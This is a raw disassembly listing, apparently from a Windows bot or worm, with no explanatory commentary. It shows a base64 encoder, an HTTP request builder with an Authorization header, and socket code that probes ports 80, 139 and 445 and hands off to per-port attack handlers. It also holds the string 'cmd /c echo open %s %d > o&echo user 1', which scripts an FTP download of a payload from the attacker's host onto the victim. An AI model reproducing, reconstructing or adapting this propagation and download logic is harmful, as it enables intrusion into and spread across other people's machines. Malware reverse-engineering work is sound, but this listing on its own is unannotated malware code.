		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B4
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D031
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62F


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D198
		add	[ebp-18h], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43245C[eax]
		push	eax
		push	1
		call	sub_40D4B1
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B6
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D50A
		mov	[ebp-18h], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp-1Ch]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B1
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D561
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: ___:0040D41Cp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D808
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+18h]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432608
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB390
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4324A0
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: ___:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: ___:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB654
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: ___:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: ___:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: ___:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: ___:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: ___:0040D3D7j
					; ___:0040D44Aj
		push	ebx
		call	dword_4CB6EC
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: ___:0040D394j
		push	3E8h
		nop
		call	near ptr 2660E9Fh


loc_40D474:				; CODE XREF: ___:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: ___:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40D4A2:				; CODE XREF: ___:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: ___:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B4
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B1	proc near		; CODE XREF: sub_40D07D+110p
					; sub_40D07D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CB
		call	sub_42669A


loc_40D4CB:				; CODE XREF: sub_40D4B1+13j
		test	ebx, ebx
		jbe	short loc_40D502
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D502
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D502:				; CODE XREF: sub_40D4B1+1Cj
					; sub_40D4B1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D561	proc near		; CODE XREF: sub_40D07D+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D579
		call	sub_426573


loc_40D579:				; CODE XREF: sub_40D561+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58B
		mov	esi, [ebp+arg_8]


loc_40D58B:				; CODE XREF: sub_40D561+25j
		cmp	edi, ebx
		jnz	short loc_40D5AD
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D725
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5AD:				; CODE XREF: sub_40D561+2Cj
		test	esi, esi
		jbe	short loc_40D5F0
		cmp	esi, eax
		jnz	short loc_40D5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C1
		mov	eax, offset dword_4276A0


loc_40D5C1:				; CODE XREF: sub_40D561+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5F0
		push	1
		mov	ecx, edi
		call	sub_40D6B4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DC
		mov	eax, offset dword_4276A0


loc_40D5DC:				; CODE XREF: sub_40D561+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5F0:				; CODE XREF: sub_40D561+4Ej
					; sub_40D561+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D626
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D60A
		mov	eax, offset dword_4276A0


loc_40D60A:				; CODE XREF: sub_40D561+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D626:				; CODE XREF: sub_40D561+4Aj
					; sub_40D561+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D07D+3Dp
					; sub_40D4B1+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D641
		call	sub_42669A


loc_40D641:				; CODE XREF: sub_40D62F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D66A
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D66A
		cmp	al, 0FFh
		jz	short loc_40D66A
		cmp	edi, edx
		jnz	short loc_40D6A5
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65F:				; CODE XREF: sub_40D62F+47j
		mov	ecx, esi
		call	sub_40D6B4


loc_40D666:				; CODE XREF: sub_40D62F+4Bj
					; sub_40D62F+52j
		xor	al, al
		jmp	short loc_40D6AF
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D62F+19j
					; sub_40D62F+20j ...
		cmp	edi, edx
		jnz	short loc_40D683
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D678
		push	1
		jmp	short loc_40D65F
; ---------------------------------------------------------------------------


loc_40D678:				; CODE XREF: sub_40D62F+43j
		cmp	ecx, edx
		jz	short loc_40D666
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D666
; ---------------------------------------------------------------------------


loc_40D683:				; CODE XREF: sub_40D62F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D6A0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D695
		cmp	eax, edi
		jnb	short loc_40D6AD


loc_40D695:				; CODE XREF: sub_40D62F+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		jmp	short loc_40D6A5
; ---------------------------------------------------------------------------


loc_40D6A0:				; CODE XREF: sub_40D62F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AD


loc_40D6A5:				; CODE XREF: sub_40D62F+28j
					; sub_40D62F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78C


loc_40D6AD:				; CODE XREF: sub_40D62F+64j
					; sub_40D62F+74j
		mov	al, 1


loc_40D6AF:				; CODE XREF: sub_40D62F+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B4	proc near		; CODE XREF: sub_40D07D+1Fp
					; sub_40D07D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6E0
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D9
		cmp	al, 0FFh
		jz	short loc_40D6D9
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D9:				; CODE XREF: sub_40D6B4+19j
					; sub_40D6B4+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6E0:				; CODE XREF: sub_40D6B4+8j
					; sub_40D6B4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F0	proc near		; CODE XREF: ___:0040D410p
					; sub_40D849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71E:				; CODE XREF: sub_40D6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D725	proc near		; CODE XREF: sub_40D561+39p
					; sub_40D561+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D738
		call	sub_426573


loc_40D738:				; CODE XREF: sub_40D725+Cj
		mov	ecx, edi
		call	sub_40D849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74E
		mov	ebx, eax


loc_40D74E:				; CODE XREF: sub_40D725+25j
		test	ebx, ebx
		jbe	short loc_40D784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D784:				; CODE XREF: sub_40D725+2Bj
					; sub_40D725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78C	proc near		; CODE XREF: sub_40D62F+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B2
		mov	edi, [ebp+8]


loc_40D7B2:				; CODE XREF: sub_40D78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BF
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D78C+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7DA
		xor	eax, eax


loc_40D7DA:				; CODE XREF: sub_40D78C+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7EA
		retn
; ---------------------------------------------------------------------------


loc_40D7EA:				; DATA XREF: sub_40D78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7F0:				; CODE XREF: sub_40D78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80E
		cmp	eax, edi
		jbe	short loc_40D7FD
		mov	eax, edi


loc_40D7FD:				; CODE XREF: sub_40D78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80E:				; CODE XREF: sub_40D78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82E
		mov	edi, ebx


loc_40D82E:				; CODE XREF: sub_40D78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D849	proc near		; CODE XREF: sub_40D725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D876
		cmp	al, 0FFh
		jz	short loc_40D876
		push	1
		call	sub_40D6B4
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6F0


loc_40D876:				; CODE XREF: sub_40D849+9j
					; sub_40D849+10j ...
		pop	edi
		pop	esi
		retn
sub_40D849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D879	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC74, 1
		jnz	short loc_40D889
		or	byte_4DBC74, 1


loc_40D889:				; CODE XREF: sub_40D879+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328C0
		add	eax, 6
		mov	dword_4CE374, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; ___:0040DE0Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
